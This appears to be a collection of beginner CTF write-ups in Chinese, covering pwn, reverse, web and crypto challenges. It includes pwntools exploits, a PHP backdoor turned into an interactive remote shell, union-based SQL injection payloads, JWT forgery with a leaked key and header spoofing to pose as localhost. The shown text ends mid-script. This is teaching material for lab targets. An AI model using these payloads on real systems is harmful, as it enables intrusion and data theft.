Week 1
Pwn
Real Login
Game
Overwrite
Gdb
Reverse
Web
Crypto
Misc
Week 2
Pwn
Reverse
Web
Crypto
Misc
Week 3
Pwn
不思議なscanf
One Last B1te
ezcanary
Easy_Shellcode
Reverse
011vm
simpleAndroid
SMc_math
flowering_shrubs
SecertsOfKawaii
PangBai 过家家(3)
取啥名好呢
Web
臭皮的计算器
臭皮踩踩背
这照片是你吗
Include_Me
blindsql1
Crypto
没 e 这能玩?
故事新编
不用谢喵
两个黄鹂鸣翠柳
Misc
OSINT-MASTER
BGM 坏了吗?
AmazingGame
ez_jail
Real Login
使用 IDA 反编译。很明显,输入的内容和全局变量 password
一致,就能进入 win
函数获取 Shell.
cpp
unsigned __int64 func()
{char buf[56]; // [rsp+0h] [rbp-40h] BYREFunsigned __int64 v2; // [rsp+38h] [rbp-8h]v2 = __readfsqword(0x28u);printf("your input: ");read(0, buf, 0x30uLL);if ( !strncmp(buf, password, 0xAuLL) )win();return v2 - __readfsqword(0x28u);
}
password` 内容为 `NewStar!!!
所以 nc 连上后输入 NewStar!!!
即可
Game
本题主要考查 pwntools
库中 recv
和 send
的使用
解法一
在 5 秒时间内,只能输入小于等于 10 的数,使这些数字相加大于 999.
所以手动输入就不可能了(当然也可以搞个宏什么的?)。
写 Python 脚本即可。
python
from pwn import *p = remote("ip", port)
for i in range(112):p.sendlineafter(b': ', b'9')p.interactive()
解法二
另一种解法,可以利用 scanf
函数的 %d
格式解析特性。
scanf
在解析 %d
遇到非数字的时候,会停止解析,但不会抛出异常,会直接返回目前的结果。
比如下面这个语句:
c
scanf("%d", &value);
假设 value
原本是 10
,如果输入 1a
,那么会解析到 1
的输入,而忽略后面的a
,这时候 value
会被变成 1
.
如果不输入数字,直接输入 a
,这时候,scanf
什么数字也解析不到,也就无法对 value
做修改。是的,这时候 value
的值没有变!并且由于这个解析的异常,会导致输入缓冲区无法被刷新,也就是说下一次调用的时候,下一个 scanf
会从 a
开始解析。
这么一想,那么我只需要输入寥寥几个字符,比如: 10a
,第一次调用 scanf
会解析出 10
,并且给结果加上 10
. 后面每次循环,scanf
会从剩下的 a
的位置进行解析,但是由于不是数字会被忽略,所以这个多出来的 a
就一直在!并且 value
的值没有变,保留上一次的 10
. 因此,scanf
永远无法跳过这个 a
字符,最终就导致一直加 10
,知道结果大于 999
.
Overwrite
IDA 反编译查看源代码
c
unsigned __int64 func()
{int nbytes; // [rsp+Ch] [rbp-84h] BYREFsize_t nbytes_4; // [rsp+10h] [rbp-80h] BYREFchar nptr[72]; // [rsp+40h] [rbp-50h] BYREFunsigned __int64 v4; // [rsp+88h] [rbp-8h]v4 = __readfsqword(0x28u);printf("pls input the length you want to readin: ");__isoc99_scanf("%d", &nbytes);if ( nbytes > 48 )exit(0);printf("pls input want you want to say: ");read(0, &nbytes_4, (unsigned int)nbytes);if ( atoi(nptr) <= 114514 ){puts("bad ,your wallet is empty");}else{puts("oh you have the money to get flag");getflag();}return v4 - __readfsqword(0x28u);
}
在这个函数中,我们可以输入一个数值 nbytes
,然后读取相应长度的数据到 nbytes_4
中。如果 nptr
中的字符串被转换为数字且大于 114514
,程序会打印 flag
,否则会输出钱包空的信息。
漏洞分析:
nptr
和nbytes_4
之间的偏移是 0x30。如果输入大于 0x30 的正整数,程序将会通过exit()
退出。- 观察到,
read()
函数中使用的是unsigned int nbytes
,但在输入校验时nbytes
是int
类型,进行了有符号比较。这里产生了漏洞。
read(0, &nbytes_4, (unsigned int)nbytes);
例如,-1
的 16 进制表示是 0xffffffff
,对于有符号整数来说,这是一个负数;但在无符号整数中,它代表一个非常大的正整数。因此,利用这一点,输入一个负数值,可以绕过前面的大小检查,将后续输入的数据覆盖到 nptr
,从而完成利用。
from pwn import *
context.terminal = ['tmux','splitw','-h']
# p = process('./pwn')p = remote('ip', port)
payload = b'a'*0x30 + b'114515'p.sendlineafter(b': ', b'-1')p.sendafter(b': ', payload)p.interactive()
Gdb
先拖入 IDA 分析:
c
__int64 __fastcall main(int a1, char **a2, char **a3)
{size_t v3; // raxsize_t v4; // raxint fd; // [rsp+0h] [rbp-460h]char s[9]; // [rsp+7h] [rbp-459h] BYREF_DWORD v8[12]; // [rsp+10h] [rbp-450h] BYREF__int64 v9; // [rsp+40h] [rbp-420h]__int64 v10; // [rsp+48h] [rbp-418h]char buf[1032]; // [rsp+50h] [rbp-410h] BYREFunsigned __int64 v12; // [rsp+458h] [rbp-8h]v12 = __readfsqword(0x28u);strcpy(s, "0d000721");strcpy((char *)v8, "mysecretkey1234567890abcdefghijklmnopqrstu");HIBYTE(v8[10]) = 0;v8[11] = 0;v9 = 0LL;v10 = 0LL;printf("Original: %s\n", s);v3 = strlen(s);sub_1317(s, v3, v8);printf("Input your encrypted data: ");read(0, buf, 0x200uLL);v4 = strlen(s);if ( !memcmp(s, buf, v4) ){printf("Congratulations!");fd = open("/flag", 0);memset(buf, 0, 0x100uLL);read(fd, buf, 0x100uLL);write(1, buf, 0x100uLL);}return 0LL;
}
可以看到程序逻辑是对一串字符串执行了加密操作,然后需要我们输入加密后的内容
对于加密函数,可以发现完全看不懂(其实我是故意的🥰)
所以我们选择动调查看加密后的内容
键入 gdb ./gdb
并运行,先运行程序,用 b *$rebase(0x1836)
下断点(断在call 加密函数处)
运行到加密函数处,可以发现,rdi 寄存器存的是要加密的内容,rsi 存的是加密的 key
先复制下要加密内容的地址
0x7fffffffd717
然后使用 ni
指令步进
此时字符串已经完成了加密,我们使用 tel 0x7fffffffd717
指令查看字符串的内容
b'\x5d\x1d\x43\x55\x53\x45\x57\x45'
便是加密后的内容,使用 Python 脚本发送即可
python
#!/usr/bin/env python3
from pwn import *p = process('./gdb')
elf = ELF('./gdb')data = b'\x5d\x1d\x43\x55\x53\x45\x57\x45'
p.sendline(data)p.interactive()
begin
首先运行一下这个程序
可以发现很多提示,我们根据提示首先使用 IDA 打开,接下来按下 F5 得到伪代码
根据提示,我们点击 flag_part1
这个变量,从而得到 flag 的第一部分
如果 IDA 显示是十六进制数据,则可以在十六进制数据那按下 A,从而得到字符串
接下来返回主函数界面,可以点击标签栏中的 Pseudocode-A
再根据提示,按下 ⇧ ShiftF12
可以看到一个很明显的字符串,点进去,从而得到 flag 第二部分
根据提示,在 Format 上按下 X 查看是谁引用了这个字符串
再根据提示,在函数名字上按下x键找到是哪个函数引用了这个函数
根据提示,这个函数名就是最后一部分,并且在最后加上 }
则最后拼起来的 flag 是 flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}
base64
在开始之前,你需要知道什么是 Base64,可参见 密码学 base 的 WriteUp.
此题目是教大家定位主函数,Base64 的一个常见的魔改方式——换表,以及 CTF 一个编解码工具 CyberChef.
双击打开程序,我们看到如下界面:
可以看到让你输入一个字符串,然后会判断对错。一般来说,"Enter the flag:"这个字符串会离主逻辑不远,所以我们找到这个字符串的位置就可以定位到主逻辑。
在 IDA 中,按 ⇧ ShiftF12 调出字符串界面。
双击就可以转到对应的 IDA View.
双击 DATA XREF
右边的地址加偏移,就可以到引用他的地方,按下 F5,即可反编译这段逻辑。
这就是主逻辑了。看到 =
结尾的字符串可以想到 Base64(常识)。但是直接解会出乱码。
此处需要大家识别出 Base64 算法的魔改点。大家可以自行对比标准的 Base64 编码算法,为了不过多增加难度,我仅把码表换了。
base64标准码表是 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
,这里换成了 WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/
.
推荐使用CyberChef
进行解密,这个工具用了的都说牛逼,你也来试试吧!
把左边的「From base64」拖到「Recipe」那一栏,然后把「Alphabet」换成上面说的魔改后的码表,「Input」处输入密文,「Output」处就得到 flag 了。当然,编写脚本解码也是可以的。
ezAndroidStudy
本题主要考查对 APK 基本结构的掌握
第一部分
查看 AndroidManifest.xml
可以发现 activity 只有 Homo
和 MainActivity
我们用 Jadx 打开 work.pangbai.ezandroidstudy.Homo
就可以获得 flag1
第二部分
打开 resources.arsc/res/value/string.xml
搜索 flag2 即可
第三部分
按描述到 /layout/activity_main.xml
找即可
第四部分
/res/raw/flag4.txt
里
第五部分
IDA64 打开 lib/x86_64/libezandroidstudy.so
,找到以 Java 开始的函数,按 F5 即可
Ans: flag{Y0u_@r4_900d_andr01d_r4V4rs4r}
Simple_encryption
将程序拖入 IDA 并按下 F5 得到主要代码
c
int __cdecl main(int argc, const char **argv, const char **envp)
{int k; // [rsp+24h] [rbp-Ch]int j; // [rsp+28h] [rbp-8h]int i; // [rsp+2Ch] [rbp-4h]_main(argc, argv, envp);puts("please input your flag:");for ( i = 0; i < len; ++i )scanf("%c", &input[i]);for ( j = 0; j < len; ++j ){if ( !(j % 3) )input[j] -= 31;if ( j % 3 == 1 )input[j] += 41;if ( j % 3 == 2 )input[j] ^= 0x55u;}for ( k = 0; k < len; ++k ){printf("0x%02x ", input[k]);if ( input[k] != buffer[k] ){printf("error");return 0;}}putchar(10);printf("success!");return 0;
}
主要逻辑非常简单,首先输入 len
个字符,len
点击去可以看到是 30.
然后对输入每一位进行变换,其中当索引值是 3 的倍数时输入值就减 31,当索引值除 3 余 1 时,输入值加 41,索引值除 3 余 2 时,输入值与 0x55 进行异或。
最后将变换之后的输入值与密文 Buffer 数组进行比较。我们点进去 Buffer 数组,然后可以按下 ⇧ ShiftE 即可提取数据。
我们接下来就可以写出逆向脚本。
c
#include <stdio.h>unsigned char buffer[]={0x47,0x95,0x34,0x48,0xa4,0x1c,0x35,0x88,0x64,0x16,0x88,0x07,0x14,0x6a,0x39,0x12,0xa2,0x0a,0x37,0x5c,0x07,0x5a,0x56,0x60,0x12,0x76,0x25,0x12,0x8e,0x28};
int main(){int len=30;for(int i=0;i<len;i++){if(i%3==0){buffer[i]+=0x1f;}if(i%3==1){buffer[i]-=0x29;}if(i%3==2){buffer[i]^=0x55;}}printf("%s",buffer);return 0;
}
// flag{IT_15_R3Al1y_V3Ry-51Mp1e}
ez_debug
解法一:使用 IDA
步入 main
函数,发现给的 decrypt 提示。如果不知道关键函数可以前后都点一点,发现主要正常的逻辑是在 you
函数里面
双击 you
函数,在相关位置下断点。点击旁边的圆圈就可以下断点了,或者按下 F2,之后按 F9 或者在上方选择「Select debugger」进入调试
这里在循环处下断点或者在 decrypt 处下断点
然后开始调试,跳出弹窗让我们输入 flag
因为没有设置长度限制,所以随便输入一些东西就好了,然后就会进入下一步
回到 IDA 界面,可以看到程序在断点处自动停止了
you
函数是一个解密函数,接下来按下 F8 进行单步调试,检查所有变量后发现每过一个循环,v5
的值会变化,且有类似 flag 的产物,所以等单步把循环过完之后,直接双击 v5
,查看变量
解法二:使用 xdbg
拖入 xdbg64,搜索字符串
搜索 de
或者 flag
,发现 decrypt flag
在 decrypt 处按 F2 下断点
然后按下 F9,随便输入一些字符即可
继续按下 F9
headach3
题目源码如下:
php
<?php
header("fl3g: flag{You_Ar3_R3Ally_A_9ooD_d0ctor}");
echo "My HEAD(er) aches!!!!!<br>HELP ME DOCTOR!!!<br>";
?>
打开浏览器开发者工具的「网络」(Network)选项卡,刷新网页,点击第一个请求,查看响应头,可以看到 flag.
关于响应头的具体内容,参见 HTTP 标头、响应标头。
会赢吗?
本题考查的是网页和 JavaScript 的基础知识。
JavaScript 是现代网络开发中最重要的编程语言之一,它的历史充满了快速迭代、竞争、以及变革。它最早诞生于 1995 年,由 Brendan Eich 在短短 10 天内开发,并逐步演变成为如今的标准化、多功能的编程语言。
第一关
按下 F12,使用开发者工具查看源码
第二关
控制台是开发者调试 JavaScript 代码的利器,允许开发者在无需修改源代码的情况下,直接执行和测试代码。这种即时反馈机制使得开发者可以迅速验证假设、检查问题或尝试新的代码逻辑。
仔细看源代码:
html
<script>async function revealFlag(className) {try {const response = await fetch(`/api/flag/${className}`, {method: 'POST',headers: {'Content-Type': 'application/json'}});if (response.ok) {const data = await response.json();console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);} else {console.error('请求失败,请检查输入或服务器响应。');}} catch (error) {console.error('请求过程中出现错误:', error);}}// 控制台提示console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
</script>
根据控制台的提示,只需要执行 revealFlag('4cqu1siti0n')
(className
的值为 4cqu1siti0n
)即可获得第二关的 flag。
第三关
根据源代码:
html
<script>document.addEventListener('DOMContentLoaded', function () {const form = document.getElementById('seal_him');const stateElement = document.getElementById('state');const messageElement = document.getElementById('message');form.addEventListener('submit', async function (event) {event.preventDefault();if (stateElement.textContent.trim() !== '解封') { messageElement.textContent = '如何是好?';return;}try {const response = await fetch('/api/flag/s34l', {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })});if (response.ok) {const data = await response.json();messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;} else {messageElement.textContent = '请求失败,请重试。';}} catch (error) {messageElement.textContent = '请求过程中出现错误,请重试。';}});});
</script>
修改前端,按下按钮得到一部分 flag.
第四关
源码中有 <noscript>
标签,可以使用浏览器插件或者浏览器设置禁用 JavaScript.
当然也可以直接根据前端逻辑去发送请求。
将 Flag 各个部分拼起来,随后 Base64 解密即可。
智械危机
index.php
的基本提示:
php
echo "<b>ROBOTS</b> is protecting this website!<br>";
echo "But it is not smart enough...<br>";
echo "It may leak some information to you, future hackers!";
明显的提示:查看 robots.txt
,得到了路由 /backd0or.php
php
<?php
function execute_cmd($cmd) {system($cmd);
}
function decrypt_request($cmd, $key) {$decoded_key = base64_decode($key);$reversed_cmd = '';for ($i = strlen($cmd) - 1; $i >= 0; $i--) {$reversed_cmd .= $cmd[$i];}$hashed_reversed_cmd = md5($reversed_cmd);if ($hashed_reversed_cmd !== $decoded_key) {die("Invalid key");}$decrypted_cmd = base64_decode($cmd);return $decrypted_cmd;
}
if (isset($_POST['cmd']) && isset($_POST['key'])) {execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {highlight_file(__FILE__);
}
?>
一个对新生来说略绕的 PHP 代码阅读,也对编写脚本、使用 WebShell 的能力进行初步的考查。
cmd
参数是Base64 编码后的 system
命令。
key
的验证逻辑:将cmd
参数值字符串翻转后,计算 MD5 哈希,并与 Base64 解码后的 key
进行比较。
因此我们将这个过程反过来,就可以得到解题 EXP:
python
import requests
import base64
import hashlib
print("[+] Exploit for newstar_zhixieweiji")
url = "http://yourtarget.com/backd0or.php"
cmd = "cat /flag"
cmd_encoded = base64.b64encode(cmd.encode()).decode()
cmd_reversed = cmd_encoded[::-1]
hashed_reversed_cmd = hashlib.md5(cmd_reversed.encode()).hexdigest()
encoded_key = base64.b64encode(hashed_reversed_cmd.encode()).decode()
payload = {'cmd': cmd_encoded,'key': encoded_key
}
response = requests.post(url, data=payload)
print(f"[+] Flag: {response.text}")
EXP 使用了 requests
库负责请求后门 shell,也可以用任何一款能够发出 POST 请求的工具完成这一操作,如 HackBar、BurpSuite 等。
出题人的胡诌
请各位选手打好编程基础,不要浮躁。这题的代码逻辑应该懂一点英语就能够看懂了,变量名称也没做混淆。AI 可能会胡编,但是完全可以给你提取出足够的关键词用于搜索。
这题的出法不鼓励手搓!!!先编码再逆序,执行一个指令都费劲,flag 位置没猜对就得再搓一遍。只要脚本写好,这题完全可以得到一个简洁的交互式 shell:
附代码:
python
import requests
import base64
import hashlib
print("[+] Shell for newstar_zhixieweiji")
url = input("[+] Enter the target URL: ")
def execute_command(cmd):cmd_encoded = base64.b64encode(cmd.encode()).decode()cmd_reversed = cmd_encoded[::-1]hashed_reversed_cmd = hashlib.md5(cmd_reversed.encode()).hexdigest()encoded_key = base64.b64encode(hashed_reversed_cmd.encode()).decode()payload = {'cmd': cmd_encoded,'key': encoded_key}response = requests.post(url, data=payload)return response.text[:-1]
hostname = execute_command("hostname")
username = execute_command("whoami")
while True:directory = execute_command("pwd")command = input(f"{username}@{hostname}:{directory}$ ")output = execute_command(command)print(output)
PangBai 过家家(1)
本题已开源,详见:cnily03-hive/PangBai-HTTP
序章
过完开头的剧情,自动跳转到第一关。如果没有跳转或跳转出现问题,可以手动访问路径 /start
以快速进入关卡界面。
第一关
第一关界面如下
下方文字给出了提示「Header」。打开浏览器的开发者工具,在「网络」(Network)选项卡中找到网页的初始请求,查看响应标头,有一个 Location 字段
访问这个路径,进入下一关。
第二关
题目提示了「Query」和 ask=miao
,其中「Query」指的就是 GET 请求的请求参数,在URL中路径后面 ?
开始就是查询字段,用 &
分隔,遇到特殊字符需要进行 URL Encode 转义。因此我们访问路径 /?ask=miao
即可进入下一关。
第三关
第三关给出的提示为:
用另一种方法(Method)打声招呼(
say=hello
)吧 ~
我们在浏览器地址栏输入网址,默认的方法就是 GET,常见的方法还有 POST,在一些表单提交等界面会使用它,在 HTTP 请求报文中就是最开始的那个单词。因此本关用 POST 请求发一个 say=hello
的查询即可。
POST 的查询类型有很多种,通过 HTTP 报文中的 Content-Type
指定,以告诉服务端用何种方式解析报文 Body 的内容。
Content-Type | 描述 |
---|---|
application/x-www-form-urlencoded | 和 GET 查询字段的写法一样,开头不需要 ? ,用 & 符号连接各查询参数,遇到特殊字符需要进行转义。 |
application/json | Body 给出一个 JSON 格式的数据,服务端会解析它。 |
multipart/form-data | 表单字段,一般用于有文件等复杂类型的场景。 |
我们可以用任意方式,那么我们选择用 application/x-www-form-urlencoded
发送个 say=hello
的请求包即可。
使用浏览器的 HackBar 插件:
注意
如果使用 HackBar 插件,请在 Modify Header 一栏中删除 Cookie 字段(删除后会自动采用浏览器当前的 Cookie),或者请手动更新该字段。因为 Cookie 携带着关卡信息,如果不更新该值,将永远停留在同一关。
你也可以用 BurpSuite、Yakit、VSCode REST Client 插件、curl 等工具进行发送原始 HTTP 报文,然后将返回的 Set-Cookie
字段手动存入浏览器的 Cookie 中。
HTTP
POST /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6M30.hc4vKSnI5KZxNFjD27qrms3z6TL6LRnF1qSk_t3ohOIsay=hello
第四关
来到这一关后由于 302 跳转可能会变成 GET 请求,再次用 POST 请求(携带新 Cookie)访问,得到提示「Agent」和 Papa
,应当想到考查的是 HTTP 请求头中的 User-Agent
Header. 题目的要求比较严格,User-Agent
必须按照标准格式填写(参见 User-Agent - HTTP | MDN),因此需携带任意版本号发送一个 POST 请求:
HTTP
POST /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
Content-Type: application/x-www-form-urlencoded
User-Agent: Papa/1.0
Content-Length: 9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6M30.hc4vKSnI5KZxNFjD27qrms3z6TL6LRnF1qSk_t3ohOIsay=hello
此时提示需要将 say
字段改成「玛卡巴卡阿卡哇卡米卡玛卡呣」(不包含引号对 「」
),中文需要转义(HackBar 会自动处理中文的转义)。因此最终的报文为:
HTTP
POST /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
Content-Type: application/x-www-form-urlencoded
User-Agent: Papa/1.0
Content-Length: 9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NH0.MDhNM30leuBXKpPLgqDnzmK3Zf2sAGdx8VtGcMf21kUsay=%E7%8E%9B%E5%8D%A1%E5%B7%B4%E5%8D%A1%E9%98%BF%E5%8D%A1%E5%93%87%E5%8D%A1%E7%B1%B3%E5%8D%A1%E7%8E%9B%E5%8D%A1%E5%91%A3
如果使用 Hackbar,配置如下:
第五关
由于 302 跳转的缘故变成了 GET 请求,我们再用 POST 请求(携带新 Cookie)访问,得到的提示为:
或许可以尝试用修改(PATCH)的方法提交一个补丁包(
name="file"; filename="*.zip"
)试试。
这是要求我们使用 PATCH 方法发送一个 ZIP 文件。
这一关是相对较难的一关,浏览器插件并不支持发送 PATCH 包和自定义文件,必须通过一些发包工具或者写代码来发送该内容。PATCH 包的格式与 POST 无异,使用 Content-Type: multipart/form-data
发包即可,注意该 Header 的值后面需要加一个 boundary
表示界定符。例如Content-Type: multipart/form-data; boundary=abc
,那么在 Body 中,以 --abc
表示一个查询字段的开始,当所有查询字段结束后,用 --abc--
表示结束。
关于 multipart/form-data
这个 Content-Type 下的 Body 字段不需要进行转义,每一个查询内容以一个空行区分元信息和数据(就和 HTTP 报文区分标头和 Body 的那样),如果数据中包含 boundary
界定符的相关内容,可能引起误解,那么可以通过修改 boundary
以规避碰撞情况(因此浏览器发送 mulipart/form-data
的表单时,boundary
往往有很长的 --
并且包含一些长的随机字符串。
本题只检查文件名后缀是否为 .zip
. 因此如此发包即可:
HTTP
PATCH /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
User-Agent: Papa/1.0
Content-Type: multipart/form-data; boundary=abc
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0
Content-Length: 168--abc
Content-Disposition: form-data; name="file"; filename="1.zip"123
--abc
Content-Disposition: form-data; name="say"玛卡巴卡阿卡哇卡米卡玛卡呣
--abc--
返回的内容如下
HTTP
HTTP/1.1 302 Found
set-cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y; Max-Age=86400; Path=/
Location: /?ask=miao
x-powered-by: Hono
Date: Fri, 27 Sep 2024 19:28:30 GMT
通过浏览器开发者工具的「存储」(应用程序 » 存储)选项卡编辑 Cookie,将 Set-Cookie
字段的 token
值应用更新。随后再次携带新 Cookie 刷新网页即可。
第六关
本题提示内容指出了 localhost
,意在表明需要让服务器认为这是一个来自本地的请求。可以通过设置 Host
X-Real-IP
X-Forwarded-For
Referer
等标头欺骗服务器。
以下任意一种请求都是可以的。
RefererX-Real-IPX-Forwarded-For
HTTP
GET /?ask=miao HTTP/1.1
Host: localhost
Referer: http://localhost
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y
注意
如果修改 Host
,你需要确保你的 HTTP 报文是发向靶机的。一些工具会默认自动采用 Host
作为远程地址,或者没有自定义远程地址的功能。
随后提示给出了一段话:
PangBai 以一种难以形容的表情望着你——激动的、怀念的,却带着些不安与惊恐,像落单后归家的雏鸟,又宛若雷暴中遇难的船员。
你似乎无法抵御这种感觉的萦绕,像是一瞬间被推入到无法言喻的深渊。尽管你尽力摆脱,但即便今后夜间偶见酣眠,这一瞬间塑成的梦魇也成为了美梦的常客。
「像■■■■验体■■不可能■■■■ JWT 这种■■ Pe2K7kxo8NMIkaeN ■■■密钥,除非■■■■■走,难道■■■■■■吗?!」
「......」
其中提到了 JWT 和 Pe2K7kxo8NMIkaeN
,这个数字和字母组成内容推测应当是 JWT 的密钥。JWT 是一个轻量级的认证规范,允许在用户和服务器之间传递安全可靠的信息,但这是基于签名密钥没有泄露的情况下。可以通过 JWT.IO 网站进行在线签名和验证(JWT 并不对数据进行加密,而仅仅是签名,不同的数据对应的羡签名不一样,因此在没有密钥的情况下,你可以查看里面的数据,但修改它则会导致服务器验签失败,从而拒绝你的进一步请求)。
将我们当前的 Cookie 粘贴入网站:
Payload,即 JWT 存放的数据,指明了当前的 Level 为 6
,我们需要更改它,将它改为 0
即可。可见左下角显示「Invalid Signautre」,即验签失败,粘贴入签名密钥之后,复制左侧 Encoded 的内容,回到靶机界面应用该 token 值修改 Cookie,再次刷新网页,即到达最终页面。
TIP
修改 level
为 0
而不是 7
,是本题的一个彩蛋。本关卡不断提示「一方通行」,而「一方通行」作为动画番剧《魔法禁书目录》《某科学的超电磁炮》中的人物,是能够稳定晋升为 Level 6 的强者,却被 Level 0 的「上条当麻」多次击败。但即使不了解该内容,也可以通过多次尝试找到 Level 0,做安全需要反常人的思维,这应当作为一种习惯。
第〇关·终章
点击提示中的「从梦中醒来」,过完一个片尾小彩蛋即获得 Flag 内容。
谢谢皮蛋
本题考查的是 SQL 注入的相关知识,如果你从未了解和接触过数据库和 SQL 语句,你可能需要花费一定的时间快速了解并尝试。
题目考查数字型注入、联合注入
判断列数和回显位,其实看页面上的格式也基本可以判断
sql
1 order by 2#
-1 union select 1,2#
查看当前数据库
sql
-1 union select 1,database()#
查看当前数据库所有表名
sql
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查看 Fl4g
表所有列名
sql
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g' and table_schema=database()#
查看值得到 flag
sql
-1 union select group_concat(des),group_concat(value) from Fl4g#
xor
最简单的签到,但对完完全全零基础的同学来说,这道题涉及的知识点可能还不少,我们看题。
python
from pwn import xor
from Crypto.Util.number import bytes_to_longkey = b'New_Star_CTF'
flag='flag{*******************}'m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))
m2 = flag[13:]c1 = m1 ^ bytes_to_long(key)
c2 = xor(key, m2)
print('c1=',c1)
print('c2=',c2)
首先使用了两个 Python 库,pwntools 是 CTF nc 题的交互好工具(不仅仅是 pwn 题,密码、Misc 等的交互题也会用到),pycryptodome 是一个好用的密码学加密库。确保 Python 环境正常后,在终端中分别输入以下命令进行安装:
bash
pip install pwntools
pip install pycryptodome
这些库未来它们会是你的好帮手。这里展现的功能都只是冰山一角,具体功能是什么我们稍后解释。
此处出题人刻意地定义 key
为 bytes
类型而 flag
为 str
类型。Python3 重要的特性之一是对字符串和二进制数据流做了明确的区分。文本总是 Unicode
,由 str
类型表示,二进制数据则由 bytes
类型表示。Python3 不会以任意隐式的方式混用 str
和 bytes
,你不能拼接字符串和字节流,也无法在字节流里搜索字符串(反之亦然),也不能将字符串传入参数为字节流的函数(反之亦然)。需要进行编码操作才能转换为 bytes
类型进行后续的运算。大家可以通过这两篇博客详细了解:
- 浅析 Python3 中的 bytes 和 str 类型
- pwntools: 类型转换
接着是 bytes_to_long
函数,从函数名也可以猜出来,这个函数是将 bytes
类型转换为数字,具体是怎么转换的?大家可以尝试的将最后的整数变成 16 进制来看,举个例子:
python
text=b'NewStar'
print(bytes_to_long(text))
# 22066611359080818
print(hex(bytes_to_long(text)))
# 0x4e657753746172
从 16 进制来看就很直观了 0x4e657753746172
,N
的 ASCII 值是 78=0x4e,e
的 ASCII值是 101=0x65,以此类推,直观来看就是把 16 进制数串连起来,我们就把 bytes
类型的 NewStar
转成了一个整数。
那么我们终于进入了这道题考查的重点——异或(XOR),在某些书中也称它为「模二加」。异或运算的规则是:
- 当两个输入位不同时,输出为
1
- 当两个输入位相同时,输出为
0
就像不进位的模2加法一样。异或在编程语言中常用符号 ^
表示,在数学中常用符号 ⊕ 表示。
当两个数异或之后,异或的结果与其中一个数再异或即可得到剩下的一个数字。此处我使用了 2 种方式进行异或:一个是直接用 ^
对整数进行运算;另一个是用 pwntools 中的 xor()
,它可以将不同类型和长度的数据进行异或。
既然已知 key
的话,利用异或的性质,再异或 1 次即可获得 flag.
python
from pwn import xor
from Crypto.Util.number import long_to_bytes,bytes_to_longkey = b'New_Star_CTF'c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'m1 = c1 ^ bytes_to_long(key)
m2 = xor(key, c2)flag = long_to_bytes(m1) + m2
print(flag)
# flag{0ops!_you_know_XOR!}
Base
这题就是很简单的 Base 编码,也可以从题目描述里面看的出来,知道是 Base 编码就可以尝试一下,使用 CyberChef 就能直接一把梭。
但 Base 编码的原理又是怎么样的?我们也可以来细致研究一下。
我们可以从最常见的 Base64 开始。
加密流程
转化为二进制
首先是将所需要加密的数据转换为二进制的数据
至于怎么将字母一类的数据转换为二进制,这就可以使用 ASCII 表去对应一下
这样的话我们就可以将字母数字转换为ASCII值了,举个例子,ctf
对应的十进制和二进制为
字母 | 十进制 | 二进制 |
---|---|---|
c | 99 | 01100011 |
t | 116 | 01110100 |
f | 102 | 01100110 |
拼接之后就是,ctf
对应的二进制为 011000110111010001100110
。
TIP
我们要注意的是,一个字母数字占8位,所以转换为二进制时若不足八位,在前面需要添零。
二进制截断
随后就是进行截断,因为是 Base64 编码(可以记住这个规律,26=64,2 的多少次方就按多少截断),所以是按 6 位进行截断。可以参考下面的图去理解一下:
这里将索引转换为 Base64 编码,还需要一张对应的表(Base64 编码表),一般常用的 Base64 的表如下:
这样我们就可以自己尝试去转换一下:
这样我们就成功将数据成功进行 Base64 编码了,即 ctf
对应的 Base64 编码为 Y3Rm
。
拓展
对于其他的 Base 类型的编码(2n 类型的),我们只需要知道对应的编码表,即可进行对应的编解码了。
强调
这都是一些基本的基于 2n 类型的 Base 编码,还有一些类似于 Base45、Base85 这些类型的编码可能有所不一样,也可以去去了解一下:BaseX 编码规则解析。
一眼秒了
在做题之前可以先看一下 RSA 算法原理详解、RSA 算法原理 这两篇文章,或者自己找一些文章学一下这个加密算法。
拿到题目我们可以看到这个 n 比较小,那么我们就可以考虑分解 n 得到 p 和 q.
推荐一个在线网站 FactorDB 或者离线工具 CaptfEncoder.
分解得到 p 和 q,随后就是常规的解密流程了。
python
from Crypto.Util.number import *
from gmpy2 import *n= 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
